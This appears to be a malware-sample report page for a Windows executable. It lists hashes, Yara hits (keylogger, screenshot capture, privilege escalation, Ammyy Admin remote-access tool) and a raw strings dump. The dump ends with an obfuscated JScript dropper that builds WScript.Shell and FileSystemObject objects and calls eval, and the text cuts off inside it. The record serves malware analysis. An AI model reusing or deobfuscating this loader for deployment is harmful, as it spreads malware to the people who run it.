Sample details: dec7a3a39a845e2d645fbb6deb2e6bf5 --

Hashes
MD5: dec7a3a39a845e2d645fbb6deb2e6bf5
SHA1: 7eb236c9f4af7f601d0dd203860e66474d487d35
SHA256: 7b73afa68dea96c6e887b56b66862882dbc76fc6cc26ec57301aece70b433878
SSDEEP: 24576:4MjPJ5g9KVGrdNikfu2hBfK8ilRty5olGJsxk:dJ5gEKNikf3hBfUiWxk
Details
File Type: PE32
Added: 2019-04-26 10:49:18
Yara Hits
YRP/PEArmor04600759hying | YRP/IsPE32 | YRP/IsWindowsGUI | YRP/HasOverlay | YRP/maldoc_find_kernel32_base_method_1 | YRP/maldoc_getEIP_method_1 | YRP/domain | YRP/IP | YRP/url | YRP/contentis_base64 | YRP/Antivirus | YRP/Dropper_Strings | YRP/create_service | YRP/network_tcp_listen | YRP/network_http | YRP/network_tcp_socket | YRP/escalate_priv | YRP/screenshot | YRP/keylogger | YRP/win_mutex | YRP/win_registry | YRP/win_token | YRP/win_files_operation | YRP/win_hook | YRP/android_meterpreter | YRP/Big_Numbers3 | YRP/Prime_Constants_long | YRP/CRC32_poly_Constant | YRP/CRC32_table | YRP/Str_Win32_Winsock2_Library | YRP/Str_Win32_Wininet_Library | YRP/Str_Win32_Internet_API | YRP/Str_Win32_Http_API | YRP/Ammyy_Admin_AA_v3 | FlorianRoth/CN_Actor_RA_Tool_Ammyy_mscorsvw | FlorianRoth/CN_Actor_AmmyyAdmin |
Parent Files
7ab3dd84153d855092a6c796298b285a
Source
Strings
		!This program cannot be run in DOS mode.
`.data
.data2
.idata
M-)				
M--				
M-5				
s	s	qV9I	
9I	q~9I	
-nI	c2
[s	s	qr9I	
SnI	s	s
q|9I	q"9I	
SnI	c2
9I		~R
1lI	s	
5lI	s	
5lI	s	
9lI	s	
AlI	s	
]kI	s	
.tZp@7
CreateWindowExA
play e:\\rrrtwr\agef.wav alias PRFT
LoadLibraryExA
user32.dll
LoadCursorA
Winmm.dll
TranslateMessage
mciSendStringA
XYDc;\
9U`e) 
>c5q7!
0C0~020
0C0~030
0C0~020
0C0~0G0
0C0~030
0C0~0G0
0C0~020
0C0~020
0C0~020
0C0~020
0C0~020
0~0$0I0
0b0I0K0
0C0~020
user32.dll
GDI32.dll
Msacm32.dll
ADVAPI32.dll
IMM32.dll
KERNEL32.DLL
GetModuleHandleA
GetProcAddress
HeapCreate
HeapAlloc
ExitProcess
FreeLibrary
GetMessageA
DefWindowProcA
PostQuitMessage
GetDoubleClickTime
UpdateWindow
GetQueueStatus
LoadIconA
RegisterClassA
RegQueryValueExA
RegOpenKeyA
GetUserNameA
CopySid
GetLengthSid
CreateBitmap
IntersectClipRect
ExcludeClipRect
UpdateColors
GetTextExtentPoint32A
CreateCompatibleDC
DeleteObject
TextOutA
SetBkColor
SetTextColor
Rectangle
CreateSolidBrush
GetStockObject
CreateFontIndirectA
GetTextExtentExPointA
GetTextMetricsA
CreateFontA
RealizePalette
ImmGetCompositionStringW
ImmSetCompositionFontA
ImmGetContext
ImmSetCompositionWindow
acmDriverID
acmStreamOpen
xxxxxxxxx
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
      <requestedPrivileges>
        <requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
      </requestedPrivileges>
    </security>
  </trustInfo>
</assembly>
!This program cannot be run in DOS mode.
.rdata
B|!!p!hB
 "	(j 
DA>)zw$
eh]{I(
jd4X@	
P&g"\5h
P+~0R 
AK$Q%k
*L#,tQex0M
w8-CEKh8
O%b@l!
FX1CBC
fd]GL\w
!$A})h
a} .2S
~*2x# 
1&/j=ht
y,0/mpk$
y/u-e/
sR*5DI
#BMz&_;
Q6J67L
z3#83C+,
>xh4Cl
}<1jtV4
P'W>Q.
0geG4+
23 lMg
m"3OI]H
 $)<"6
R-)v[88
BehXz6
Vbj)QG
L/qWO)
MEd58]5!
ltQ"B.
6E/x9=26V
Qe_Jz 
o:=AVD
Rp3^)d
vLju2F_
i@Ip*H"
j$$"a$8"X$L"O$`"n
i|p>})
"rnjEtQ
8j6S$?
A|#>YFN1!Ak
7'v.ZU
 0S$5-
!qc[[J
cx;U!R
USPmM)
aj-H6P
T,_!{rp
avoB"l
3cz~$d
6$%t)(1PRP
7?xdq6 
=]B%Z8
+\+ $%o
VdFK2W1
)@"8/)
e%oP)3
XtQbmt
'*[=WJ
cjR[[|
.\vl,QX|
X%v"aA
:\A#"qu
;=\vrA
9d	a\'
s(/VkOr
@QGq*-
/ ^]'o^
2xt>Z	I{>
JQIZiCtv
>4\!-Q"I4
1,,"Fc
Bk+H4@
g+d92Pq!	
qtui$Y$
|0T!&%vp
/uV@Qk*
^Wf":DmD
?u:bjJ"*
uD!h|!
S+d-8!
u+jZ1!
z=ef2Q
R(@8**z8
tUcSaa
/9_0..uE
";ALAD
(Xh!iWq&/
JaG52)u
T)&s"MH
_q>Qp';
R1v}?9v
G# "$i
FDIoF6
8,'I;B
L|}~6hRD
a$ VD8
`':Y+I$0
(kb l&8
).tM5'
vZ'TYHu
5aWe|`
HYNhH{#v
L_dhO7
l,833f
_Uh/lg
=x?pDg$
;6l3^i
S#gD %
H+._<r
&WiHJJ
~&(WP<*
Y0&t B
#?IW8,n
KY;oE,E
	hTZmQD
`dR= A
DCTj|P
VC2:0Xs
3x<M C
	R6@5]/
N=R(Qn
l%/wt7
T5I=,a
QL`5)#j]
I9$U!(
-_[q}qB
;CLRfA
\DsZ!O'
^T8.	|U?
d>J9<Km
t9Up63
')Gyy.
L(Y4,M
t2`3.F
T~'FOO
]q<Xo5
KG^]$]
5D@PSj?J
V!jQf*xp
}TSkXX
k6K+So
1k4=Q:
vb#9~4
0B=%hkZ
%p+[9	
F/>7UPB
UFsJ2DJ
NfJRE	<
.tCh	!
EVHC`E
{&@([K}eP
>	Qp@1 9
(DEFGHIJ
KLMNOPQR
STUVWXYZ
ijklmnop
qrstuvwx
UnXkHL
) (x8,X
I|s$ro
hR6028
K(B7Hr6t|
"YBVm5
u)$s`R
"SepO 
`96t<pXP
B"RDdr
Z"HD6$
vC7mot
5ptclivL
21(IU0IO
win)32!<
@51di+tu
 etxk)
c7k t6p
ylIhIBwQ79. -
l5Z 3sW2
9V	zRk
B8-gvu
d2s9p_
rzTwPd&Fpi
}yHaCe
vm)H1_
?sh$ol
lKI3F!RHH#
vfb:Yp
{VfOuOGC4
	HLQMD
[y&-fl,^R
0$m1')uVC`
5p{weM
fWs	+c
NGWrSz
6t,2v@4w
H_O)m|7
n10pkl
PC-QJG
Kq7M&R
Psr.2_
b$:'yMl u
Au9o.)
h`	lf2
j9HX*-UlifNe
yZfqQYH6
HzUC_z
a&1-!&!4;pH
;{a\riy:
@t'vG0
|6IoAXL_SjS
A S~wJ
5.YsWEm
"] TtBN
Y3"a_H
Egy&ptgYO
\J-2%Sqs
m.j(2B
d3(RHi
7kguYc#
#|,6[{
60BT]Z
ATWOMTN
_L`nFi
t?$~#?
cvs2WB
FD%	's0
u<=}%W5``sV
$M'S^8=
DOULA%M@]
@.DSp4Ly&
E%IOvLc
'Moq.O
	P+SX_
])01it)K
G]C~Nw
oVd	2-
THI]p>.
&V>Ln-b
$'_W	-e
E	pT%nn
Wt6v6L!
 "j'2|
/9#	gwa
I$TP-[
1#CHv8
IXC(hI
 'KX%6
VlP$Mh
A	u8Y2M
@ST 1HIP
UXOR-5
z+'RG[U
E/DeMF
>GSIM'=
xds0L_
}MS6	CSD'
n}qXVL
fSD$EV
>V\)GN
'B{$hlOpNH
j/aRp`
G!,8f(
.RGSCY
GpNS9R_
#4X	sq3
q!ivB,
Ihmy_T
/z Lq4i
-SaYu&M
O	3tYPR7
"ym~[M
2$byolp%
"KQf%]
TW-+BI
R`Ww BZl
6	bbkD
QL@SCDA
Zi/I~%
2j/XWV	Z
bUC%2(
 )hlSk
.bb%3e"
RyjRd)Gf
6cp(TMV)&~
%C+PLU
pWTFRU
yTVbQn
A1#_dk$=
PE$<Wz
0OWM+J_
\Wvb'B
z-|`qW4
vV.E!k9
AMON]n
I]?yeI
p	izHLa]
5iX9G{?
YHG.>X
wl9-O\4~
m9jROQ
 vlF#$O%
!^/t%k
$B('Z+
X{SvVvtz
gDL^IY
? *R@,
*miRb$
t"<	.u
pL(`2w	~/
f%~2n_K"$S
F*!4k+
g |]K02
ikSm67W
QWf*1*
)9n!Nt
DWMvWb
6O><H"
90iCquU*-
fFPUT4!8
<h;2RI
H{hV(;
)'t2h2UWdQ%xb
:MZ?u+
jln?}0
>'D245
PIgQQE9
L)K?%6i
T!D`\C|
"SA}(>%1
XiW.SU
'NjE%;
0gD1?,`
RwA3IH$j
u0s]Lv
vhM~xL
GgV?Lp
@$}6Zw
4Z$ 6-
(0uyJR
j@44w_TE
#dd!"L6B
H5DzHtDd2$
!,JPTE
P%	ykK"
MQ(c\j
*f$[{O
)J["`B
2~@#01bH
Wh(D1}
Y^9uJ4
\bgpD=
W&|Q_d#MR'
&tNHUW
")^nru
sHK(yIy
U'$P1@CE
S*@Q]YQ
< u	V%
veb\6#
E[D^j/
/E(e|/
iWuC'j
[H_'KPp[
]ep!`#&
B-@Wam
Lfz$ y
.%1&W0R\
wZBD8y
P6,UB+
d"H2PQ
mBts_R
=\=Rg*
Lst:l;:
$Lr|"S
S3jh2nR
la7A%A
fQ,KJH"?
-:cJ.J
yU#tNj'
'~AbKs
nE\@Ef=
xkZR^/
W+L4;0
8FF@?+
Vta?mZLU
[]nsZti
?L_T$!
@	V$lH
?3Q>	7
 6{&u7
H:Y,d )0
oPON$.
0	fZ!T	DNH
p"jDd 
BCDEFGHI
JKLMNO
8|+YZabc
defghijk
lmnopqrs
12345678
p"X#Vp`c
(X)fpp+p,p-p.
j"dD^X
x"rDlf
;"BD<6
q`YHZ8
15C42.DL
cpHy$z
LirXVf
PI N5{
@MpV{i
SFzHCO
=S0s|mDierqo
!	32NwRMWY
#v6aS7
1dW	ow
zgei%4
*$USA)>C
o,k3r)2
2Lq0sRFUU
fS+yVx
iphnna
u4V<ER
F1*0`|
SEpT(%u
~>s'gDub^vm
1277.0
il*@(g
RbYxCHAql
IpW{u)f-
 (NLAv)
~zr>vp
`3(@{Ig
k,1EhU
-	eDU3CL
BffLo0	Q,-FhX&xG3
J1j\(f
~t.huif
>#T5]y
fS%EvSL
f09\aV
;@k0~@v
Rn<7\QKt6/
Er+L=5
D1.41p.
RG+`&1
d5.KV H(7VG
.%5E\m 
Dr/vB8
|b^O`hL
4*`K-l
YsON46
g!9=Id%
$A/$20^
gg@p9_	
+hlxfh(Cn
HEA5D 
ilyB_K'd
p5.dv$
(le	`2
p\3xR/
X6nT:j
Y+)@0]R
aE+9]5
,[Y$B/ 
[FQ/{D
1\0IZl
8o4n}J,
$:r<><Z
:-<:(*
N~7g*C
TMC_K\f
t-rE_t
h(EO7XJ
 RichE
|"LV:(
el oc-
hLd`+'C
I6{k+B
WSQVL`
<2q:j*c^3
_YKZ[7l
whCjE2
TP-H?$
!.?8k>
X")n[vI
}i5X04x
UV&W3k
F{tO'@
<!_ .^`
zUdT,(tg
CUqgE>i
4fuLli
,(r4uR
NQ&w={3
0~TOW(
nNL-<m
66M6@Ni
'4G?gZ
;0<A=O>\?
m7sC\;
<n=t>z?
KTOPho
u}STARiU
hVID!EO
	LOCAE_?
!		HIS
+}XB8rT
-PUI!N
L<4F8#2Yq
3Co'*hu
XGu&iFx
#"<G3Q
AuEN?e
Q`krb&
Xsz3AdYEK
:25846.T
.wLoQ.3
 Ap4LM
pU.nbL
 mti`hD
.?AVe]
std=48
_:t_9f
g& ztq
:\m)dq
 bSYu	y
Tcsp%abE
e 4N6xX
4y* &P
,/z`Rt+
UDO<b21
0v&14QN
$b#!3H4
hzSh(ow
sog1)(
dt%ho6
256)Ns
%7.2f KB$/m8
o~JHIN
P	PID^
dSw+%iU2p
8"yD(z
1~!:p{k
x"tDl`
RIXfcng
KERNEL32.dll
GetProcAddress
GetModuleHandleA
LoadLibraryA
VirtualAlloc
GetTickCount
p87P T
rtua.F
>#PEnv
1M7od+61
jogfcS
C7O5>p
g-P2G;Aibr
Oph1LI
dtaW7owP
yhh:#J
 4nO5bj
SHEZLb
IDLi;A
LIWQG2
var xhHKyZCJLEVoDftw = 'lVCyi'+
'gcsvdfqSLuaAZjPYEbBQDWGHRvalVCyigcsvdfqSLuaAZjPYEbBQDWGHRrlVCyigcsvdfqSLuaAZjPYEbBQDWGHR CSlVCyigcsvdfqS'+
'LuaAZj'+
'PYEbBQDWGHR'+
'QlVCyigcsvdfqSLuaAZjPYEbBQDWGHRGsKhlVCyigcsvdfqSLuaAZjPY'+
'EbB'+
'QDWGHRnlVCyigcsvdfqSLuaAZjPYE'+
'bBQDWGHRzeclVCyigcsvdfqSLua'+
'AZjPYE'+
'bBQDWGHRdlVCyigcsvdfqSLuaAZjPYEbBQDWGHRwDblVCyigcsvdfqSLuaAZjPYEbBQDWGHRlqlVCyigcsvdfqSLuaAZjPYEbBQDWGHRmflVCyigcsvdfqSLuaAZjPYE'+
'bBQDWGHR =lVCyigcsvdfqSLuaAZjPYEbBQDWGHR newlVCyigcsvdfqSLuaAZjPYEbBQDWGHR l'+
'VCyigc'+
'svdfqSLuaAZjPYEbBQDWGH'+
'RAlVCyigcsvdfqSLuaAZjPYEbBQDWGHRclV'+
'CyigcsvdfqSLua'+
'AZjP'+
'YEbBQDWGHRtilV'+
'CyigcsvdfqSLuaA'+
'PYEbBQDWGHRvlVCyigcsvdfqSLuaAZjPYEbBQDWGHRel'+
'VCyigcsvdfqSLu'+
'aAZjPYEbBQDWGHRXlVCyigcsvdfqSLuaAZjPYEbBQ'+
'DWGHROblVCyigcsvdfqSLuaAZjPYEbBQDWGHRjeclVCyigcsvdfqSLuaAZjPYEbBQDWGHRtlVCyigcsvdfqSLuaAZjPYEbBQDWGHR(lVCyigcsvdfqSLuaAZjPYEbBQDW'+
'GHR"lVCyi'+
'gcsvdfqSLuaAZjPYEbBQDWGHRShl'+
'VCyigcsvdfqSLuaAZjPYEbBQDWGHRellVCyigcsvdfqSLuaAZjPYEbBQDWGHRllVCyigcsvdfqSLuaAZjPYEbBQDWGHR.alVCyigcsvdfqSLuaAZjPYEbBQDWGHRplVCyigcs'+
'vdfqSLuaAZjPYEbBQDWGHRplVCyigcsvdfqSLuaAZjPYEbBQDWGHRllVCyigcsvdfqSLuaAZj'+
'PYEbBQDWGHRilVCyigcsvdfqSLuaAZjPYEbBQDWGHRclVCyigcsvdfqSLuaAZj'+
'PYEbB'+
'DWGHRatilVCyigcsvdfqSLuaAZjPYEbBQDWGHRolVCyigcsvdfqSLua'+
'jPYEbBQDWGHRn")lVCyigcsvdfqSLuaAZjPYEbBQDWGHR; l'+
'VCy'+
'igcsvdfqSLuaAZjPYEbBQDWGHRvlV'+
'Cyigcsvdfq'+
'SLuaAZjPYEbBQDWGHRarlVCyigcsvdfqSLuaAZjPYEbBQDWGHR HlVCyigcsvdfqSLuaAZjPYEbBQDWGHRWlVCyigcsvdfqSLuaAZjPYEbBQDWGHRUlVCyigcsvdfqS'+
'LuaAZjPYEbBQDW'+
'GHRSlVCyigcsv'+
'dfqSLuaAZjPYEbBQDWGHRYbyjlVCyigcsvdf'+
'qSLuaAZjPYEbBQDWGHRwJnklVCyigcsvdfqSLuaAZjPYEbBQDWGHRdiEZlVCy'+
'igcsvdfqSLuaAZjPYEbBQDWGHRKlVCyigcsvdfqSLuaAZjPYEbBQDWGHRolVCyigcsvdfqSLuaAZjPYEbB'+
'QDWGHR = lVCyigcsvdfqSLuaAZjPYEbBQDWGHRnelVCyigcsvdfqSLuaAZjPYEbBQDWGHRwlVCyigcsvdfqSLuaAZjPYEbBQDWGHR AlVC'+
'yigcsvdfqSLuaAZ'+
'YEbBQD'+
'WGHRclVCyigcsvdfqSLuaAZj'+
'PYEbBQDWGHR'+
'tivelVCyigcsvdfq'+
'SLuaAZjPYEbBQDWGHRXOlVCyigcsvdfqSLuaAZjPYEbBQDWGHRblVCyigcsvdfqSLuaAZjPYEbBQDWGHRjelVCy'+
'igcsvdfqSLuaAZjPY'+
'bBQDWGHRclVCyigcsvdfqSLuaAZjPYEbBQ'+
'DWGHRtlVCyigcs'+
'vdfqSLuaAZjP'+
'YEbBQDW'+
'GHR("WSlVCyigcsvdfqSLuaAZjPYEbBQDWGHRCRlVCyigcsvdfqSLuaAZjPYEbBQDWGHRIlVCyigcsvdf'+
'qSL'+
'uaAZjPYEbBQDWGHRplVCyigcsvdfqSLuaAZjPYEbBQDWGHRt.'+
'lVCyigcsvdfqSLuaAZjPYEbBQDWGHRshlVCyigcsvdfqSLu'+
'aAZj'+
'PYEbBQDWGHRellVCyigcsvd'+
'fqSLuaAZ'+
'jPYEbBQDWGHRllVCyigc'+
'svdfqSLuaA'+
'ZjPYEbB'+
'QDWGHR"); lVCyigcsvdfq'+
'SLuaAZjPYEbBQDWGHRvar lVCyigcsvdfqSLuaAZjP'+
'YEbBQDWGHRZl'+
'VCyigcsvdfqSL'+
'uaAZjPYEbBQDWGHRRlVCyigcsvdfqSLuaAZjPYEbBQ'+
'DWGHRhlVCyigcsvdfqSLuaAZjPYEbBQDWGHRPlVCyigcsvdfqSLuaAZjPYEbBQDWGHRgJiQjlVCyigcsvdfqSLuaAZjP'+
'QDWGHRslVCyigcsvdfqSLuaAZjPYEbBQDWGHRXlVCyigcsvdfqSLuaAZjPYEbBQDWGHRplVCyigcsvdfqSLuaAZjPYEbBQDWGHRkW'+
'olVCyigcsvdfqSL'+
'uaAZjPYEbBQDWGHRbGlVCy'+
'igcs'+
'vdfqSLuaAZjPYEbBQD'+
'WGHRNlVCyigcsvdfqSLuaA'+
'ZjPYEbB'+
'QDWGHRn = nlVCyigcsvdfqSLuaAZjPYEbBQDWGHRew AlVCyigcsvdfqSLuaAZjPYEbBQDWGHRclVCyigcsvdfqSLuaAZjPYEbBQDWGHR'+
'tlVCyigcsvdfqSLuaAZjPYEbBQDWGHRilVCyigcsvdfqSLuaAZjPYEbBQDWGHRvelVCyigcsvdfqSLuaAZjPYEbBQDWGH'+
'RXOlVCyigcsvdfqSLuaAZjPYEbBQDWGHRbjlVCyigcsvdfqSLuaAZjPYEbBQDW'+
'GHRelVCyigcsvdfq'+
'SLuaAZjPYEbBQDWGHRclVCyigc'+
'svdfqSL'+
'uaAZjPYEbBQD'+
'WGHRt(lVCyigcsvdfqSLuaAZjPYEbBQDWGHR"lVCyigcsvdfqSLuaAZjPYEbB'+
'QDWGHRSclVCyigcsvdfqSLuaA'+
'ZjPYEbBQDWGHRRilV'+
'CyigcsvdfqSLuaAZjPYEbBQDWGHRplVCyi'+
'gcs'+
'vdfqSLuaAZjPYEbBQD'+
'WGHRtilVCyigcsvdfqSLuaAZjPYEbBQDWGHRNlVCyigcs'+
'vdfqSLuaAZjPYEbBQDWGHRglVCyigcsvdfqSLuaAZjPYEbBQDWGHR.lVC'+
'yigcsvdfqSLuaAZjPYEbBQDWGHRfIlVC'+
'yigcsvdfqSLuaAZjPYEbBQDWG'+
'HRLlVCyigcsvdf'+
'qSLuaAZjPYEb'+
'BQDWGHResyslVCyigcsvdfqSLu'+
'aAZjPYEbBQDWG'+
'HRtlVCyigcsvdfqSLuaAZjPYEbBQDWGHRElVCyigcsvdfqSLuaAZjPYEbBQDWGHRmlVCyigcsvdfqSLuaAZjPYEbBQDWGHROblVCyigcsvdfqSLuaAZjPYEbBQDWGHRjelV'+
'CyigcsvdfqSLuaA'+
'ZjPYEbBQDWGHRclVCyigcsvdfqSLuaAZjPYEbBQDWGHRtlVCyigcs'+
'vdfqSLuaAZjPYE'+
'BQDWGHR");lVCyigcsvdfqSLuaAZjPYEbBQDWGHR flVCyigcsvd'+
'SLuaAZjPYEbBQDWGHRulVCyigcsvdfqSLuaAZjPYEbBQDWGHRnlVCyigcsvdfqSLuaAZjPYEbBQDWGHRctlV'+
'CyigcsvdfqSLuaAZjPYEbBQDWGHRilVCyigcsvdfq'+
'SLuaAZjPYEbBQDWGHRolVCyigcsvdfqSLuaAZjPYEbBQDWGHRn lVCyig'+
'csvdfqSLuaAZjPYEbBQDWGHRMXlVCyig'+
'csvdfqSL'+
'uaA'+
'ZjPYEbBQDWGHRcuIwalVCy'+
'igc'+
'svdfqSLuaAZjPYEbBQDWGHRsflVCyigcsvdfqSLuaAZjPYEbBQDWGHRrllV'+
'CyigcsvdfqS'+
'LuaAZj'+
'PYEbBQDWGHRLlVCyigcsvdfqSLuaAZjPY'+
'EbBQDWGHRtlVCyigcsvdfqSLuaA'+
'ZjPYEbBQDWGHRhmlVCyigcsvdfqS'+
'LuaAZjPYEbBQDWGHR(lVCyigcsvdfqSLuaAZjPYEbBQDWGHR)lVCyigcsvdf'+
'qSLuaAZjPYEbBQDWGHR lVCyigcsvdfqSLuaAZjPYEbBQ'+
'DWGHR{lVCyigcsvdfqSLuaAZjPYEbBQ'+
'DWGHR lVCyigcsvdfqSLuaAZjPYEbBQDWGHRrlV'+
'CyigcsvdfqSLuaA'+
'ZjPYEbBQDWGHRetlVCyigcsvdfqSLuaAZjPYEbBQDWGHRurn ZRhPgJiQjslVCyigcsvdfqSLuaAZj'+
'PYEbBQDWGHRXplVCyigcsvdfqSLuaAZjPYEbBQDWGHRklVCyigcsvdfqSLu'+
'aAZjPYEbBQDWGHRWlVCyig'+
'csvdfqSLuaAZj'+
'PYEbB'+
'QDWGHRolVCyigcsvdfqSLuaAZjPYEbBQDWGHRblVCyigcsvdfqSLuaA'+
'ZjPYEbBQDWGHRGNnlVCyigcsvdfqSLuaAZjPYEbBQDWGHR.F'+
'olVCyigcsvd'+
'qSLuaAZjPYEbBQDWGHRllVCyigcsvdfqSLuaAZjPYEbBQDWGHRdlVCyigcsvdfqSLua'+
'AZjPYEbBQDWGHRe'+
'lVCyigcsvdfqSLuaAZjPYEbBQDWGHRrElVCyigcsvdfqSLua'+
'AZjPYEbBQDWGHRx'+
'ilVCyigcsvdfqSLuaAZjPYE'+
'bBQDWGHRslVCyigcsvdfqSLu'+
'aAZjPYEbBQDWGHRt'+
'slVCyigcsvdfqSLuaAZjPYEbBQDWGHR("zdlVCyigcsvdfqSLu'+
'aAZjPYEbBQDWGHRJlVCyi'+
'gcsvd'+
'fqSLuaAZjPYEbBQDWGHRijflVCyigcsvdfqSLuaAZj'+
'PYEbBQDWGHRXlVCyigcsvdfqSLuaAZjPYEbBQDWGHRYaxlVCyigcsvd'+
'fqSLuaAZjPYEbBQDWGHRSglV'+
'CyigcsvdfqSLuaAZjPYEbBQDWGHRITQ'+
'lVCyigcsvdfqSLuaAZjPYEbBQDWGHRZlVCyigcs'+
'vdfqSLuaAZjPYEbBQDWGHR")'+
';lVCyigcsvdfqSLuaAZjPYEbBQDWGHR }';
var WegVaqAkKDXFHBYtlp = 
'OXPjgQdSRWKlMhukfnraEALptGqcZHvOXPjgQdSRWKlMhuk'+
'fnraEALp'+
'tGqcZHaOXPjgQdSRWKlMhukfnraEALptGqc'+
'ZHr OXPj'+
'gQdSRWKlMhukfnraEALptGqcZHydaOXPjgQdSRWKlMhukfnraEALptGqcZHjOXPjg'+
'QdS'+
'RWKlMhukfnraEALptGqcZHQOXPjgQdSRWKlMhukfnraEALptGqcZHEOX'+
'PjgQdSRWKlMhukfnra'+
'EALptGqcZHbOXP'+
'jgQdSRWKlMhukfnraEALptGqcZHHwOXPjgQdS'+
'RWKlMhukfnraEALptGqcZHIqOXPjgQdSRWKl'+
'MhukfnraEALptGqcZHJuOXPjgQdSRWKlMhukfnraEALptGqcZHtSOXPjgQdSRWKlMhukfnr'+
'aEALptGqcZHxiOXPjgQdSRWKlMhukfnraEAL'+
'GqcZHN OXPjgQdSRWKlMhukfnraEALptGqcZH= OXPjgQdSRWK'+
'lMhukfnraE'+
'ALptGqcZHHWUOXPjgQdSRWKlMhukfnraEALptGqcZHSOXPjgQdS'+
'RWKlMhukfnraEALptGqcZHYOXPjgQdSRWKlMhukfnr'+
'aEALptGqcZHbyj'+
'OXPjgQdSRWKlMhukfnraEALptGqcZHwJnOXPjgQdSRWKlMhukf'+
'nraEALptGqcZHkOXPjgQdSRWKlMhukfnraEALp'+
'tGqcZHdOXPj'+
'gQdSRWKlMhukfnraEALptGqc'+
'ZHiOXPj'+
'gQdSRWKl'+
'ukfnraEALptGqcZHEOXPjgQdSRWKlMhukfnraEALptGqcZHZOXPj'+
'gQdSRWKlMhukfnraEALptGqcZHKo.ROXPjgQdSRWKlMhukfnraEALptGqcZHeOXPjgQdSRWKlMhukfnraEA'+
'LptGqcZH'+
'gOXPjgQdSRWKlMhukfnraEALptG'+
'qcZHROXPjgQdSRWKlMhuk'+
'fnraEALptGqcZHeaOXPj'+
'gQdSRWKlMhukfnraEALptGqcZ'+
'HdOXPjgQdSRWKlMhukfnraEALptGqcZH(IOX'+
'PjgQdSRW'+
'KlMhu'+
'kfnraEALptGqcZHyOXPjgQdSRWKlMhukfnraEALptGq'+
'cZHOtOXPjgQdSRWKlMhukfnraEA'+
'LptGqcZHHOXPjgQdSRWKlMhukfnraEALptGqcZ'+
'waUOXPjgQdSRWKlMhukfnraEALptGqcZ'+
'HqOXPjgQd'+
'SRWK'+
'lMhukfnraEALptGqcZHjOXPj'+
'gQdSRWKlMhukfn'+
'raEALptGqcZHbOXPjgQ'+
'dSRWKlMhukfnraEALptGqcZHQzRTOXPjgQdSR'+
'WKlMhukfnraEALptGqcZHVOXPjgQdSR'+
'WKlMhukfn'+
'raEALptGqcZHSOXPjgQdSRWKlMhukf'+
'nraEA'+
'LptGqcZHrv.OXPjgQdSRWKlMhukfnraEALptGqcZHreOXPjgQdSRWKlMhukfnraEALptGqcZHplOXPjgQdSRWKlMhukfnraEALptGqcZHace(/\zJOXPjgQdSRWKlMhukfnraEALptGqcZHKOXPj'+
'gQdSRWK'+
'lMhukfnr'+
'aEALptGqcZHWOXPjgQdSRWKlMhukfnraEALptGqcZHsrOXPjgQdSRWKlMhukfn'+
'raEALptGqcZHlCSMOXPjgQd'+
'SRWKlMhukfnraEALp'+
'tGqc'+
'ZHGOXPjgQdSRWKlMhukfnraEALptG'+
'ZHhqeOXP'+
'jgQdSRWKlMhukfnra'+
'EALptGqcZHy'+
'YOXPjgQdSRWKlMhukfnraEALptGqcZHZOXPjgQdSRWKlMhukfnra'+
'EALptGqcZHwOXPjgQdSRWKlMhukfnraEALptGqcZHDjOXPjgQd'+
'WKlMhukfnraEALptGqcZHUOXPjgQd'+
'SRWKlMhukfnraEALptGqcZHOO'+
'XPjgQdSRWK'+
'lMhukfnraEALptGqcZHnOXPjgQdSRWKlMhukfnraEALptGqcZHXOXPjg'+
'QdSRWKlMhukfnraEALptGqcZHcOXPjgQdSRWKlMhukfnraEALptGqcZH'+
'HOXPjgQdSRWKlMhukfnraEA'+
'LptGqcZHtOXPjgQdSRWKlMhukfnra'+
'EALptGqcZHuOXPjgQdSRWKlM'+
'hukfnraEALptG'+
'qcZHTA/g, OXPjgQdSRWKlMhukfnraEALptGqcZH""'+
'))OXPjgQdSRWKlMhukfnraEALptGqcZH.OXPjgQ'+
'dSRWKlMh'+
'ukfnraEALptGqcZHcOXPjgQdSRWKlMhukfnraEA'+
'LptGqcZHhOXPjgQdSRWKlMhukfnraEALptGqcZHaOXPjgQdSRWKlMhukfnra'+
'EALptGqcZHrAt(1O'+
'XPjgQdSRWKlMhukfnraEALptGqcZH12OX'+
'PjgQdS'+
'RWKlM'+
'hukfnraEALptGqcZH5OXPjgQdSRWKlMhukfnraEALp'+
'tGqcZH55OXPjgQdSRWKl'+
'MhukfnraEALp'+
'tGqcZH07/11OXPjgQdSRWKlMhukfnraEALptGqcZH2OXPjgQdS'+
'RWKlMhukfnra'+
'EALptGqcZH5OXPjgQdSRWKlMhukfnraEALptGqcZH5OXPjgQ'+
'dSRWKlMhukfnraEALptGqcZH507OXPjgQdSRWKlMhukfnraEALptGqcZH);';
var IyOtHwaUqjbQzRTVSrv = 
"zJKWsrlCSM"+
"GhqeyYZwDjUOn"+
"XcHtuTAHzJKWsrlCSMGhqeyYZwDjUOnXcHtuTAKLM\\szJK"+
"WsrlCSMGhqeyY"+
"ZwDjUOnX"+
"cHtuTAozJKWsrlCS"+
"MGhqeyYZwDjUOnXcHtuTAFtwzJKWsrlCSMG"+
"qeyYZwDjUOnXcHtu"+
"TAare\\mzJKWsrlCSMGhqeyYZwDjUOnXc"+
"HtuTAizJKWsrlCSMGhqeyYZwDj"+
"UOnXcHtuTAczJKWsrlCSMGhqeyYZwDjUOnXcHtuTArzJKWsrlCSMGhqeyYZ"+
"wDjUOnXcHtuTAosoft\\WI"+
"zJKWsrlCSMGhqeyYZwDjUOnXcHtuT"+
"AnDOwzJKWsrlCSMGhqeyYZwDjUOnXcHtuTAszJKWsrlCSMGhqeyYZwDjUOnXcHtuTA zJKWsrlCSMGhqeyYZwDjUOnXcHtuTAnT\\CUrrzJKWsrlCSMGhqeyYZwDjUOnXcHtuTAeNTzJKWsrlCSMGhqeyYZwDjUOnXcHtuTAvezJKWsrlCSMGhqeyYZ"+
"wDjUOnXcHtuTArzJKWsrlCSMGhqeyY"+
"DjUOnXc"+
"HtuTAsion\\szJKWsrlCSMGhqeyYZwDjUOnXcHtuTAySTezJKWsrlCSMGhqeyYZwDjUOnXcHtuTAmzJKWsrlCSMGhqeyYZwDjUOnXcHtuTAROzJKWsrlCSMGhqeyYZwDjUOnXcHtuTAoT";
var GWfqJXmNZLiHcEahps = 
"GUDjyIOk"+
"fCvStEeozYTuAlXmLJw"+
"nWval(unNGUDjyIOkfCvStEeo"+
